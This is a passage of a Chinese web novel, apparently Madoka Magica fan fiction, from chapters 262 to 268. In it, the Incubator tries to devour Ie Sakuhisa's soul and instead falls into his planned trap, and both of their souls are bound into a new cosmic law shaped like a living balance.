除了朔夜本人之外，应该不会再有人能够相信它之前从不说谎了。 “就算你说的是真的。”安凛沉着冷静地说：“我们也会尽量先验证，再决定该怎么处置你。” 随后，她侧头往着远方望去，仿佛穿过漫长遥远的距离，看到了东京的残垣断壁，还有曾出现在那里的数不清的魔女。 “不过，不管怎么样——” 那些魔女，不知道是这个世界曾经的魔法少女，还是来自其他世界的魔法少女…… 但不管怎么样，她们的痛苦、绝望都真实存在。 而造就了这一切的丘比，它的累累恶行是永远无法被抹去的。 “你的罪行，不可能一笔勾销。” 安凛身上浅金色的灵魂宝石，此刻仿佛如同受到共鸣般，更明亮耀眼了几分。 悠衣的语气也更坚定了些，对着白发少女道：“没错，你必须为曾经做过的一切付出代价。” 就在这一瞬间，白发少女忽然明白自己早就无能为力了。 如同不久前的预言魔女一样。 在没察觉到危机的时候，便已不知不觉身陷囹圄。 于是，不管往哪个方向逃跑，不管再怎么挣扎，也终究无济于事——向未来延伸的无数条道路，没有一条是能够让那只魔女活下来的。 所以预言魔女即便能够提前知晓未来，也没能改变自己死亡的终局。 而此刻的孵化者，也是如此。 从它答应其他魔法少女来到这里共同抓捕预言魔女的时候，从结界将这一片区域彻底笼罩的时候，败局就已经注定。 所以，它花费了这样多的工夫，劝诱她们、哄骗她们、威胁她们……自然根本没能起到任何作用。 再怎么尝试都只能导向如今这唯一的结果。 ——它无法与她们和平共处，必然得付出某些惨痛的代价了。 现在，便只能选择在不想接受的那些选项里，尽可能挑出一个不特别糟糕的去选择。 要么放弃朔夜这具身体。 自己便仍然只能依靠伊江朔久才能间接影响这个世界，之后再想在这个世界收集扭转熵增的能量就更加困难万分了。 要么将收集能量的安排重新全部寄托于原来的那个世界。 但之前的谋划也就全部落空了，只能继续在圆环之理和恶魔的控制之下，艰难地争取魔女次等替代品魔兽的能量。 那样低下的能量获取效率完全赶不上如今熵增的速度。 要么尽力让眼前这些魔法少女相信签订契约的必要性。 可是乞求她们的配合，必然会将自己的主导权放出去。 根本不用怀疑，她们肯定会如刚才所说的，想办法让孵化者得到该有的报应。 …… 甘心吗？ 一定要被迫付出这些代价吗？ ——可自己凭什么要受制于这些人类？ 白发少女缓缓抬头，嘴角忽然勾起一抹近乎讥讽的笑。 “既然我们始终无法和平共处……” 她的声音轻得像叹息，却又带着某种决绝的意味：“那一切，就如你们所愿吧。” 先前的失败都只是暂时的，孵化者怎么可能会走上魔女的后路？ 它还拥有着最后一张底牌。 一个足以将整盘棋局瞬间掀翻的办法。 第263章 空气骤然凝固。 其他魔法少女看着白发少女，隐约察觉到了某种不妙的意味，纷纷警惕起来，手下意识地放在各自的武器上。 而与其他人不同，孵化者此刻倒是放松了许多。 其实，早从刚刚得到朔夜这具身体的时候，它就在考虑着要不要这么做了。 ——与对方的灵魂相融合，再将其消化殆尽，彻底掌握伊江朔久所拥有的一切。 只有这个方法能够让它最好地发挥出对方的实力，还能使用出对方灵魂本源的关于天平交换的力量。 不过，有着唯一一个弊端。 这件事无法操控备用替身去做，它必须得将自己隐藏起来的地外生命体终端，与伊江朔久的灵魂宝石绑定起来。 也就是说，它死亡的风险会骤然上升。 终端与备用体不同，前者一旦出现问题，就会变成无可挽回的局面。 所以孵化者先前一直顾虑重重，担心着这个方法的风险，于是一直没能做出决定。 但是事情发展到如今这一地步，这便成了最后的、也是最好的方法。毕竟风险向来与利益同在。 只要踏出这一步，它再也不用担心任何碍事的人类。 掌握了伊江朔久一切的它，完全可以利用契约的针对性与漏洞，以伊江朔久本人的身份杀死面前这些人。 一切危机便都可以迎刃而解。 而且，它早就想要得到天平交换的能力了。 孵化者作为远比单一人类个体更高级的文明物种，可以将这个能力的作用发挥到最大，或许能从中获取前所未有的价值与能量。 白发少女脸上又缓缓浮现出习惯性的微笑。 ……仔细想想，风险其实也微乎其微。 自己不是早就亲自试验过了吗？ 当初即便是那样多的危险魔女，也没能够杀死孤身作战的朔夜。要不是有着麻烦的感情负担，她也不会轻易死掉。 心中的大石这一刻由此放下，仿佛长久以来的犹豫，都只是无谓的拖延。 余下的只剩期待。 白发少女闭上了眼，几秒后再睁开时，瞳孔已经化作彻底的猩红。 “我会将朔夜还给你们的。” ……在它消化掉伊江朔久的灵魂之后，从各种层面上来看，它也当然就可以被看作是伊江朔久本人。 孵化者没有详细说完这些话，但其他魔法少女自然也不可能相信它会突然这么好心。 津岛直视着那双像极了丘比的猩红色眼瞳，总感觉事情在朝着一个难以预料的方向快速发展：“……你想要做什么？” 白发少女没有回答。 她直接伸手握住自己藏在围巾下的灵魂宝石，将其取了下来。在场的其他人也就得以再次看到这颗宝石如今的状态。 这是从未见过的灵魂宝石的形态。 ——宝石被黑白两色割据，黑色是熟悉的需要悲叹之种净化的污秽，白色则有着丘比那种令人厌恶的气息。 角落处只剩下点点青色，看起来几乎快要被其他颜色同化。 白发少女拿起了这颗宝石。 不知道是怎样做到的，她竟然将宝石放入口中，硬生生将其吞咽了下去。 “……？？！” 其他人毛骨悚然，错愕地看着这突如其来的一幕，还没能理解到底发生了什么。 下一刻—— 刺目的光芒从所有人面前迸发，原本因结界笼罩而显得灰暗的天空都亮了起来，甚至让人难以睁开眼睛。 某种存在开始蜕变了。 在场的魔法少女们没见过魔法少女蜕变成魔女，最多只见过使魔蜕变成魔女。 但即使如此，她们也能察觉此刻发生面前的蜕变，绝对要远比其他的更为深邃、更为恐怖。 没有人拥有可以阻止的力量。 津岛强行睁着酸涩的眼睛，即使在强光之下什么也看不见，她也竭力盯着白发少女所在的方位。 是她怀揣着某种隐晦的期待，推动局势往某条大势所趋的道路上发展的。 这么做是正确的吗？ 由于缺少关键的线索，津岛始终无法确定。 唯一能回答她这个问题的却只有目前情况不明的伊江朔久。 而在没有人能够注意到的角落，那颗被吞下去的灵魂宝石深处，最后一点青色光芒忽然剧烈闪烁。 ——就像垂死之人突然的回光返照。 …… 以孵化者的预估，要想吞噬掉伊江朔久的灵魂，大概不会花费太多的时间。 毕竟，孵化者自然远比单一的人类个体更为高级。 一个生命体终端便可以同时操控无数个备用替身，让它们分散在宇宙的各个角落，做着不同的任务。 这是人类始终无法做到的。 甚至，人类至今尚且没有掌握灵魂层面的基础认知。个体的灵魂数量虽多，却都脆弱得不堪一击。 只要让它和伊江朔久的灵魂开始融合，它便能够以压倒性的优势，直接将对方的灵魂消化转为自己的力量。 ……本来孵化者是这么想的。 但是，偏偏事情没有朝它预想中的那样发展。 ——它刚开始吞噬伊江朔久的灵魂，下一秒就发现那个人类灵魂仿佛消失不见了？ 又是一次即将收获的果实从嘴边溜走的感受。太过熟悉、也太过糟糕了。 可是…… 怎么可能？！ 怎么可能会出现这种差错？？！ 明明应该万无一失的，就像蚂蚁永远也无法扳倒大象一样，它绝对不会有在这方面失败的可能性。 或许只是出了一点可以被纠正的小小失误？ 孵化者勉强耐下性子，才感知到对方的灵魂似乎还在这里，却变得无法接触、虚无缥缈，宛如水中倒影。 真的完全不对劲…… 没有任何可以解释的办法。 第264章 孵化者终于清楚地意识到，情况有哪里出现了巨大偏差，而这样的偏差很可能给它带来致命的危险。 紧接着，更可怕的事情果然发生了。 ——它发现自己的灵魂能量正在被某种无形的力量抽离，像沙漏中的细沙一般悄无声息地流逝。 真的完了。 这和备用替身的损耗完全不同，一旦自己的灵魂能量在这里全部被抽离，孵化者便会不复存在，迎来真正的‘死亡’——这个在漫长岁月中从未需要思考的概念。 孵化者仿佛是第一次如此慌乱不安。 它竭力试图挣扎，却根本毫无作用，就好像亲手开启了潘多拉的魔盒，然后却再也无法挽回。 但是为什么会这样？ 伊江朔久究竟是怎样做到的？！ 孵化者怎么也想不明白，自己怎么会在这种地方失足。 某种强烈的预感却又告诉它，这一切似乎都是有迹可循的。 记忆里，伊江朔久的笑意仿佛又浮现在眼前。 对方总是这样，眉眼微微弯起，青色的眼瞳显得格外温和，周身也总是带着能够令人安心的包容与善意。 此刻它却觉得那笑意变得十分难以捉摸。 如同自己从未看透对方的假象。 之前战场上自以为掌控住了对方的感觉全是错的，它早就落入了陷阱，只不过如今收网的时候才后知后觉。 于是，它只能落得满盘皆输的地步，连生死也无法在自己的掌控之中…… 不知为何，孵化者的意识突然恍惚了一阵。 待它回过神来的时候，世界骤然安静了下来，周围化作一片白茫茫的意识空间。 它低下头，看了眼自己。 发现自己在这里变回了丘比的样子。 虽然糟糕至极的状态还是没能减缓，但在这种地方待着，仿佛一切事物都会变得宁静许多，孵化者跟随着潜意识往前走了几步。 紧接着，它看到了一个熟悉又陌生的少年。 对方顶多十三四岁的模样，较长的白色发丝披散在身上，面容略显稚嫩，但那双青色的眼瞳却仿佛已经沉淀了很多事物。 ‘……伊江朔久？’ 丘比语气复杂而又不确定地出声。 它认出眼前这个少年和伊江朔久的面容有许多相似之处。 但它记忆里从没见过对方的这个样子——年少、稚嫩，因过长的头发看起来可能会被人误认为是少女，虽然有些瘦弱、但腿脚完好身体健康。 “是我。” 伊江朔久看着它，忽然笑了起来：“好久不见。” ‘你并没有沉睡多久，算不上好久不见。’ 丘比声音沉下去。 很显然，它还是难以接受自己竟然会落入如此地步。 明明前些日子，好不容易才谋划成功得到了朔夜的身体。那时候还觉得未来一片光明，可以在这个世界肆意收集能量。 结果一转眼，便发现原来自己早就输得一败涂地。 伊江朔久没在意丘比的低沉，只是若有所思地道：“看来她们做的比我预测中的还要好。” 在与其他魔法少女关系还比较糟糕的时候，他原本是计划给自己身上泼点脏水，让其他人警惕怀疑自己。 到时候，使用了朔夜身份的丘比再做出找人签约的事，就更加会被其他人阻碍敌对，而他也会留下一些后手逼迫对方…… 终有一日，丘比便一定会做出这个本就令它颇为心动的决定。 但是，计划和现实不可能完全一模一样。 不过好在只是过程有了些偏差而已，结果反而比原先计划的要更早达成。就是希望其他人不要为他的结局而难过。 ‘果然，你早就计划好了这一切。’ 丘比的预感被证实了，但完全高兴不起来。 “是啊。” 伊江朔久的心情却是许久未有这样放松了，竟也有了在人生的最后关头，与一生中最厌恶的敌人闲聊的想法。 “其实，我刚才所说的好久不见，也是在指我很久没有以这个样子和你见过面了。” 上一次这样见面，还是在他姐姐死后魔女化的时候，丘比误以为他是伊江幸樱的妹妹，然后他们签订了契约。 伊江朔久想了想，感叹道：“算起来也有十年了。” 这期间经历了太多事情，即便他们还能以最初的样子站在这里，但也早就时过境迁了。 闻言，丘比又仔细看了看面前的少年。 看来对方就是在这个年纪和自己签约的，也难怪朔夜的身高会比其他魔法少女矮上一截，自己早该猜到对方有问题的。 ……不对。 丘比忽地垂下了头。 就算早早猜到这一层也没用，毕竟这只是对方故意留给它的线索。 甚至两年多来，自己发现的对方的每一个异常，不过都只是对方计划中的一环而已。 它从始至终都是被操控着的提线木偶。 所以，才会一步步沦落至此，把自己的全部都输了出去。 ‘我以为耗费了那么久的时间，终于看透了你的全部面目，却没想到还是低估了你……’ 它的声音越说越低。 “这很正常。” 伊江朔久轻笑着道：“比起直接展露出来的情报，很多人都会更倾向于相信自己通过推理得来的‘真相’。” “所以当你发现了我的‘漏洞’，暗自调查推理、揭穿了我的假面之后，就会以为下一层一定便是我的真实面目，很难会去深思是否还会有更深的秘密。” “其实我还准备了别的后手，可惜没有用上。本来以为你存在了那么漫长的岁月，至少会更加谨慎多疑……” 伊江朔久顿了顿，慢条斯理地说： “但你实在是太过自负了，以为自己看透了我，以为自己能够支配我……于是就这么慢慢被引导着，亲自走进我布下的陷阱。” 第265章 丘比说不出话来，无法否认对方对自己的贬低，却又难以承认。 ……是自己的错误导致了如今的局面。 伊江朔久以前便对它说过，丘比与人类终究是不同的物种，有着本质的区别与隔膜。所以人类永远无法彻底信任它、真的以平等的目光看待它。 虽然现在想来，对方这样说估计也是为了给它种下暗示，让它在不知不觉间主动选择占据朔夜的身躯。 但那些话也不是没有道理。 ——丘比自以为自己的存在远比人类高级，总是以高高在上的目光看待所有人，因为这样的傲慢而吃亏其实也并不稀奇。 可是……这样的满盘皆输倒还是头一次。 丘比的耳朵微微垂下去。 怀揣着输也想输个明白的心理，丘比不甘地问道：‘你是什么时候开始计划谋算我的？’ 伊江朔久回答：“六年前吧。” 据丘比了解到的线索，那个时候伊江朔久不久前才改变世界的因果线，抹去了它的记忆，同时他自己也沦落到过往的全部被抹除的下场。 究竟是怎么做到筹谋了今后这一切的？ 似是看穿了丘比的不解，伊江朔久慢悠悠地说：“那个时候，晓美小姐和我取得了联系。” 晓美……焰？ 也只可能会是她了。 那个曾经与它签订契约、时间系的魔法少女，那个如今剥夺了圆环之理的一部分、改写了世界的恶魔。 ‘怪不得……原来你们两个达成了合作。’ 丘比又遭受了一次新的打击。 它喃喃似的道：‘我自以为瞒过了晓美焰，用备用替身偷偷来到这个新发现的世界……原来她其实一直掌握着我的全部行踪。’ “确实多亏了晓美小姐的帮忙，为我提供了很多信息……” 伊江朔久顿了顿，语气微扬地道：“还每次在我需要的时候，恰当地使你离开这个世界。” 丘比回想起了，曾经它在两个世界来回操劳时的种种不易。 因为晓美焰拥有着改写并掌控世界的力量，所以它不得不在没确定自己是否该放弃那里的能量、永久逃离那个世界之前，小心翼翼地假装顺从。 这几年来，晓美焰时不时就给自己找些麻烦，丘比一直还以为这是对方的报复。 虽然无奈，但它也只得每次都谨慎地从这个新发现的世界收回自己的全部能量，再回到那个世界专心地去应对晓美焰，努力不让对方发现任何破绽。 现在想想……真是一言难尽。 晓美焰早就知道了真相，想必每次看它尽力隐瞒的时候，一定会觉得就像看杂技表演一般有趣吧。 ‘……够了。’ 丘比逐渐意识到，从刚才起，伊江朔久便一直在报复自己，每一句话都不遗余力地往它的痛处扎去。 果然，虽然伊江朔久的谎言多到难以分辨，但曾经的那句话却绝对是真的…… 他确实极其厌恶它。 “不想继续听下去了？” 白发少年垂眸看着丘比，那双如玉石般温和的青色眼瞳终于可以不用再伪装、不用再压抑自己的真实情绪。 只是…… 一层层伪装戴了太久，用尽心思地忘记只有自己记得的过去，不断催眠暗示着将自己当作别人。 此刻，伊江朔久竟一时有点茫然。 他想不起来……在这种时候，自己该表现出怎样的‘真实’情绪呢？ 应该是开心吧。 于是，伊江朔久扯起了嘴角，露出胜利者的笑容。 “被欺骗的滋味如何？” “你曾经蒙骗过那样多的魔法少女。现在，我也花费很长时间，为你精心编织了这样一个谎言……你还满意吗？” 丘比用猩红的眼瞳凝视着对方的这个笑容，突然感到一种陌生的颤栗。 就好像猎人与猎物的立场骤然交换。 它变成了失去自由的牲畜，无能为力地等待着被摆上人类的餐桌。 而餐桌的周围，曾经千千万万个被它蒙骗过的魔法少女仿佛正坐在那里。 她们手持刀叉、姿态优雅，脸上带着如伊江朔久一样的笑容，好似在琢磨着——该从哪里开始肢解它这道‘主菜’。 ‘……很精彩的谎言。’ 沉默了许久，让幻视的场景彻底消失之后，丘比由衷地这样说道。 伊江朔久的报复无疑是非常成功的。 曾经，丘比用真实的话语故意‘欺骗’过无数少女，诱导她们签下魔法少女的契约。 而如今，它也终于尝到了被从头骗到尾、失去一切的滋味。 ‘我……果然还是无法理解你们人类。’ 丘比仿佛无比疲惫地弯下身子，任由两侧长长的耳朵垂到地上，尾巴也有气无力地耷拉着。 它的声音里罕见的带着浓重的绝望与困惑： ‘拉着我一起死，就这么令你开心吗？’ “当然开心。” 伊江朔久仿若要对它证明这一点般，脸上的笑容更盛了几分。 “不过，很可惜地告诉你……我才没有要拉着你一起死，你就别想着和我殉情了。” ‘怎么可能？’ 丘比的语气里满是怀疑。 尽管一败涂地、连自己的性命也输掉了，但丘比尚且还没有丢失理智。 在这个意识空间里缓了一会儿后，它如今已经能猜到，伊江朔久估计是动用了自己本源的天平交换的能力。 丘比早就想得到这个能力了，只是始终没能做到。 估计，晓美焰也是因为伊江朔久这个特殊的能力，才对其另眼相待的。否则以恶魔的实力，没必要这么卖力地帮助一个还未超脱人类范畴的魔法少女。 可是…… ‘就算你的能力很特殊，但也不可能随意抹杀掉我的灵魂终端。你的天平交换是公平的吧？’ 伊江朔久也不急着解释，随意地点点头：“绝对公允。” ‘那你想彻底杀了我，至少也得将自己的性命作为砝码，放在天平的另一端。’ 丘比其实还是特意说的保守了。 实际上，它认为伊江朔久就算拿自己的命换它的命，可能还是不够资格。它猜测，说不定是晓美焰在这方面也为他提供了一些帮助。 ‘而且……’ 丘比冷漠注视着对方难以遮掩的糟糕状态，一字一句讽刺般地问道： ‘如果你不会跟我一起死去的话，那你如今算是什么情况？’ 它还没有瞎。 早从刚见到伊江朔久开始，丘比就发现了，对方和自己目前的状态一致。 ——面前少年的灵魂能量也在不断地被某种无形的力量抽离。 他们两个是一样的，灵魂形态的颜色越来越淡，身体逐渐变得透明，显然都正在走向不可逆转的死亡…… 第266章 “我还以为，你会先问你自己是什么情况呢。” 伊江朔久没理会对方刚才讽刺的语气，看上去也毫不在意自己目前的情况有多糟糕，只是自顾自地说着： “不过也是，像你这样胆小的生物，将自己的生命体终端小心翼翼地藏了那么久，平日里向来都只敢用脆弱的备用分身在外招摇撞骗。” 丘比：‘……’ 事实证明，小心驶得万年船。 如果早知道会落得这一境地，它还不如永远都只操控备用分身行动。 “就是因为害怕会得到最糟糕的答复，你才始终没有询问自己最后会落得怎样的遭遇吧？” 伊江朔久向它更靠近了一步，半透明的身体愈发清晰。他慢悠悠地道：“但是别担心，我可以告诉你——” 话语还没落下，丘比便快了一步，语气差劲地打断他道：“不就是死亡吗？” 已经明摆在眼前的事，到底有什么好问的？ 对方这么厌恶自己，好不容易才将它置于死地。丘比并不觉得，对方能够在这种时刻好心地放它一马。 “不，你不会死。” 看着丘比的动作一滞，不知道有没有愚蠢地升起某些不该有的希望，伊江朔久开心地又笑了笑。 “我也不会死，我们都会……好好活着。”少年轻声说着：“——永永远远地一起活着。” 空气仿佛凝固了。 “永远”、“一起”。 这两个词组合在一起，显然蕴含着某种相当不妙的含义。 丘比脑海里有危险的警报响起，但它却没有立刻明白这到底是什么意思，还能有比死亡更糟糕的事情发生吗？ 寒意蔓延开来。 它迟疑地问：‘……什么意思？’ 孵化者的生命漫长得确实可以称之为永远，但一个人类的生命短如朝露，怎么能和孵化者相比较。 更何况……“永永远远地一起活着”，这样的话听起来非常不妙，像极了最恐怖的诅咒。 “看到那个了吗？” 伊江朔久抬起手，指了一下他们上方的位置。 丘比跟着抬头望去。 它眯起了眼睛，仔细看了好一会儿，才发现正上方悬浮着一个天平。 因为这天平是半透明状的白色，所以几乎与这一片白茫茫的空间融为一体，自然很难被发现。 丘比记得，这是伊江朔久能力本源的体现。 它曾经见过这个天平，但由于伊江朔久当时编造的谎言，它以为这个能力的限制很大，所以并没有太过在意。 而后来伊江朔久便再也没有将这个能力展示给它看了。 丘比盯着上方的天平。 天平的周身雕刻着许多精细复杂的花纹，仿佛流转着奇怪的韵律，格外吸引人的目光。 但丘比此刻却只是全神贯注地看着天平两端的托盘之上，每一端上面都各有一个虚幻的光点。 只不过其中一端的分量稍重，将那侧的托盘压了下去。但另一端也不是一直高高翘着。 如果认真看的话，能够注意到，那一端托盘以很慢的速度正在轻轻摇晃着往下沉去，似乎有无形的分量在不断为它加码…… 这样下去，估计很快天平的两端就能达成平衡。 丘比似乎忽然明白，自己被抽离走的那些灵魂能量到底都去了哪里。 但是更多的疑问又涌上心头。 ‘天平的交易还没有达成吗？我还以为……已经结束了。’ 丘比收回目光，又看向此刻唯一能给它解答的伊江朔久。 “当然没有结束。” 伊江朔久反问：“你真的觉得我和晓美小姐做了这么多事情，就只是为了让你彻底死掉？” 丘比仔细想了想。 ……伊江朔久到底有着怎样的心思，它如今在被骗了一次又一次之后，实在是已经难以分清了。 但是，它应该还是了解一点晓美焰的。 对方是为了鹿目圆才与它签订了契约，为了鹿目圆才一次次发动能力回到过去，为了鹿目圆才成为了恶魔，将圆环之理中属于名为鹿目圆的人类的那部分记忆切裂开来…… 她所做的一切都是为了鹿目圆。 那么，比起满足自己报复的心理、谋划着去彻底杀掉孵化者，晓美焰更可能会选择去利用孵化者。 毕竟，在圆环之理所塑造的世界里，收集扭转熵增的能量本来就很低效。 要是再少了勤勤恳恳、兢兢业业的丘比们，估计过不了多久，这个宇宙就会因为陷入热寂而毁灭。 那样的话，晓美焰自然也就会永远失去鹿目圆了。 所以……他们两个到底是想要做什么呢？ “算了。” 伊江朔久忽然叹了口气：“让你一直这么想下去的话，估计等一切都结束了，你也没办法猜到真相。” 看了看天平倾斜的程度、以及自己身体的透明程度，他还是放弃了继续拿丘比逗乐。 为了感谢丘比的“自愿”牺牲，他当然得要让它在最后的时刻，至少能够明白它自己是为何而牺牲的。 “我做的交易其实是——用我们两个的灵魂，重新塑造一个改写宇宙的法则。” 少年透明的脸上浮现出近乎温柔的笑容。 这样的温柔却实在骇人。 恍惚间，丘比仿佛看到了那个粉发的少女。 鹿目圆总是那么温柔善良，从来不会将自己的利益放在首位去考虑，无害到任何人都不会对她产生警惕戒备的念头。 但就是这样一个人类少女，许下了足以改写世界的愿望，消灭了所有的魔女，成为了一种新的宇宙法则——圆环之理。 ‘……你也想要成为那样的存在吗？’ 丘比喃喃道。 “不是我，是我们。” 伊江朔久纠正了它的说辞，并继续为它耐心地解释： “我们两个的灵魂一起被放在天平的同一端，以此作为交换，会得到一个新的宇宙法则。它会借助我们灵魂的能量制作出一个特殊的‘装置’。” “当有剧烈的情感波动出现时，法则就会使这种转化装置随之出现，收集人类溢出的情感，并直接将其转化为能量去扭转熵增……” 丘比的耳朵不自觉抖了抖。 将情感转化成能量的这种技术是它的文明发明出来的。经过多番调查与考量，它才选择了契约魔法少女这个高效又残酷的方法。 难道伊江朔久费尽心思就是为了…… “和你原本那套收集情感的方式不同。” 似乎看穿了丘比的念头，伊江朔久说道：“不需要签订契约，不需要极致的希望或是绝望，也不用担心付出的资源和收获不成正比……” “这种装置可以大范围收集各种情感，转化的效率也会高上数倍。还能够在魔法少女绝望而堕落成魔女之前，收走其灵魂宝石上的污秽。” “这样一来，世界上便再也不会产生新的魔法少女和魔女，也不必再担心宇宙的热寂。” “怎么样？你不是总说着，要阻止宇宙因热寂而毁灭吗？” 伊江朔久的声音忽然轻快起来：“现在你的愿望已经达成了——恭喜你啊，丘比。” 丘比僵在原地。 原来是这样…… 怪不得刚才伊江朔久会说，他们都不会死，而是永远地一起活着。 原来真正的含义是——他们会失去自我，但灵魂依旧存在，只是被改造成宇宙法则的一部分，机械般地永恒运转着。 “听起来似乎和圆环之理有点相似，不过……” 伊江朔久语气里带着几分嘲弄：“像圆环之理那样无私的神性，我们两个可都做不到。” “由我们的灵魂为基础所化作的‘装置’……” “大概率会是个无比丑陋的怪物吧。” 丘比沉默了许久。 它久久地抬头凝视着上方的天平，仿佛在凝视着自己即将到来的命运。 ‘这就是你谋划了这么久的最终目的啊。’ “嗯。” 伊江朔久也看向了天平，声音放得很轻，如同梦呓： “这是无数遍推衍后得来的最优解，也是我利用了一切、所能交换到的最好的未来了。” 为了达成这个目的，伊江朔久提前准备了四年，将计划的每个步骤反复打磨，将自己用层层假面伪装起来。 随后，借助晓美焰不动声色的引导，使丘比再度发现这个新生的特殊世界，并发现他这唯一一个能与丘比产生联系的人。 伊江朔久编造了一个系统与穿越者的简单谎言，将他们两个先绑定在一起，顺便掩盖自己过去的种种经历。 在之后的时间里，他契约那些魔法少女。 不仅是为了帮她们挽回曾经的遗憾与重要的人，也是为了让她们作为对付之后被丘比占据身体的‘朔夜’的后手。 等到时机合适的时候，再与丘比反目。 丘比付出了那么多时间与资源，必然不会轻易舍弃这个世界触手可及的诸多能量，却也无法绕过伊江朔久来直接干涉这个世界。 所以，它会选择占据伊江朔久的身体，自己拿到主导权。 而只要埋下足够多的诱饵，准备充分的后手，一直逼迫丘比……就终会让它忍不住选择冒着一些风险去获得最大的利益。 伊江朔久淡然地说：“当你主动选择与我的灵魂相融的时候，一切便彻底结束了。” 因为他早就将自己的灵魂作为代价交付给天平，只是价值远远不足以使交易成立，所以天平也没有收走这一报酬。 而孵化者确实要更特殊许多，独特且唯一的生命体终端控制着那么多的备用替身，在宇宙的各个地方牵涉了大量因果。 当它与伊江朔久灵魂相融的那一刹那，从各种层面上来看，它可以被看作是伊江朔久本人。 所以，天平的交易足以成立了。 孵化者的灵魂便会与伊江朔久的灵魂一同被收走。 第267章 ‘……这样煞费苦心还真是辛苦你了。’ 丘比一阵无言，许久才吐出这句近乎叹息的嘲讽。 它忍不住问道：‘不过，我还是不太明白……你付出了那么多，害死了那么多人，到底是为了什么呢？’ ‘扭转熵增？拯救世界？维护和平？……’ 它漫长的生命莫名其妙地走到尽头，就换来了这样的结果吗？ 白色生物歪了歪头，猩红的眼瞳中透露着不解，散发的恶意忽然不加掩饰地向对方袭去。 ‘还是说，彻底消灭我，以此来贯彻你的“正义”？’ 说到正义的时候，它忍不住笑了，似乎觉得这是什么非常可笑的笑话。 确实可笑…… 丘比不明白，明明同样都是需要牺牲一部分人，以此换得宇宙的安稳。 但是，伊江朔久却非要迂回这么大一圈，耗费这么多心力来达到和它一样的目的，甚至把自己也搭了进去。 为什么？ ‘你还记得吗？’ ‘我重新来到这个世界后，有多少人因为魔女和使魔而死掉？不久前东京的那片焦土至今还没有恢复正常吧？’ 丘比并不在意这些人类的死亡，但是它知道谁会在乎，而这些人原本也可以不用去死。 ‘如果你不将这些人当作棋子放入棋盘，他们是不会死的。’ 纵然这些人的死因大部分源于丘比自己，可这句话的确是事实无疑，伊江朔久无法置身事外。 伊江朔久的指尖微不可察地颤了颤。 “……是。”他低声承认：“他们本来或许不会死。” 伊江朔久的神情黯了些，像是压抑着什么沉重的情绪：“为了更好的世界，免不了会有人牺牲……” 但说到这里的时候，他忽然停住了，不管多说什么似乎都像是在为自己脱罪。 于是，他还是直言道：“不论怎样，那些罪孽……我绝不会否认。” ‘那我们不应该是一样的吗？’ 丘比直直盯着他，语句刺耳：‘你跟我所做的难道不一样吗？同样是要牺牲一部分人，来换取更多人的存亡。只不过你非要换另一种麻烦的方式而已。’ 伊江朔久垂下眼眸，安静地听着丘比的质问。 从一开始起，他就没有觉得自己代表了正义。甚至，或许这一整盘棋局之中确实掺杂了不少自己的私心。 但是就算自责歉疚，他也绝对不会动摇、不会后悔。 “……我们所做的一切确实相似，可还是不一样的。” 伊江朔久缓缓地阐述道：“在你的眼中，生命只是数字。如果能用所有人类的死亡换取巨大的能量，你会毫不犹豫地去做。所以，拯救宇宙的‘大义’绝不能交由你来掌控。” 晓美焰曾经就跟他提到过——某次循环之时，鹿目圆化作的魔女只需要十天就能够毁灭世界。 但那时收获了足够多能量的丘比却毫不在意，心满意足地抛弃了那个即将毁灭的世界。 “而且，为了达成最好的结局，我愿意将我的命也当做赌注压上去。” 伊江朔久声音平静却带着不容置疑的力量：“丘比，你无法否认，如今我所找到的方法才更有利于宇宙长久的安稳与和平。那么，现在也到了该你牺牲的时候了——你愿意吗？” 丘比没有回答。 它只是沉默地站在那里，身躯已经单薄得如同一吹即散的雾。 山逳～息～督～迦９ 这本身就代表着一种回答。 “是啊，你怎么会愿意？” 漫长的沉默后，伊江朔久忽然了然地笑了：“再多的人类也无法与孵化者相提并论，对吧？” 上方的天平愈发强烈地震颤着，此刻两端的托盘已经慢慢趋近于平等，而他们两个的灵魂也几乎随时会散去。 最后的时刻终于就要来了。 丘比难得品尝到了这种陌生的感觉——后悔。 ‘终究……还是输了。’ 伊江朔久却不留情地说：“你早就输了。” 丘比长长地叹了口气：‘如果能够早知道的话，我绝对不会再找你签订契约了。’ “不。” 伊江朔久摇了摇头：“你不是输在那个时候，而是更久之前……就算没有我的存在，你的下场也不会改变。” 丘比怔了一下，望向伊江朔久。 此刻他们两个灵魂的光点都已经散了大半，已无法再看见对方的身影，甚至连自己所剩不多的意识也快要消散了。 但是，它还是在最后听到了伊江朔久的声音。 ——“从你欺骗第一个人成为魔法少女的时候，今日的结局就已经注定了。” 恍惚间，孵化者仿佛跨过漫长的时光。 它看到了记忆里成为宇宙法则的圆环之理、改写世界的恶魔、拉着它一起献祭灵魂的伊江朔久，还有无数个曾令它颇为头痛的魔法少女们。 ……似乎确实是这样。 一切从一开始就注定了。 灵魂的微光如萤火般往天平所在的方向飘去，又慢悠悠地汇聚在一起，让那个虚幻的光点越来越亮。 终于，天平发出一声清脆的鸣响，两端的托盘终于达成完美的平衡。 ……全部都结束了。 而新的未来也从此刻开始了。 纯白的意识空间就此崩塌，以伊江朔久与孵化者的灵魂为本源所塑造的法则随之诞生。 那个承载着法则的转化‘装置’渐渐显现出来。 ——祂既非圆环之理那样纯净光明的神明，也不算是特别丑陋的怪物，而是某种难以定义的特殊存在。 现实世界里。 强烈到无法直视的亮光逐渐淡了下去。 等待着的魔法少女们本能地抬起了头，一齐看向同一个方向。 原本的‘朔夜’已经不知所踪，那里倒是多出了一个奇怪的存在——那是……什么？ 第268章 魔女吗？咒灵吗？ 似乎都不太像。 仔细看上去，那个存在有些类似于一个身形庞大、造型古怪的……‘天平’？ ‘天平’的周身雕刻着许多精细复杂的花纹，闪烁着冷冰冰的光泽。整体由黑白两色构成，各个部分通过巨大尖锐的齿轮和链条相互交织组合在一起。显现出一种怪异而恐怖的美感。 与古早时期的天平比较相似，但又并不单单只是某种器械。 总之，祂是活着的。 尽管祂没有任何动作，只是静静地矗立在那里。但是魔法少女们就是能感受到，祂身上所蕴含的恐怖能量，以及一种神性与理性并存的莫名压迫感。 那是什么怪物？ 丘比到底都做了些什么？ 没有人知道。 魔法少女们本能地警惕着危险的事物，绷紧身体、手持武器，做好了可能随时要战斗的准备。 终于，‘天平’开始行动了。 ——祂身上的齿轮突然转动，似乎有什么黑色的光点被收入托盘之上，使得两端的托盘轻微地晃了一晃。 做完这些之后，祂的身形就开始渐渐消散，仿佛已经完成了某项任务。 其他人都愣住了，没察觉到祂刚才具体做了些什么，甚至对目前的情况都还搞不太明白。 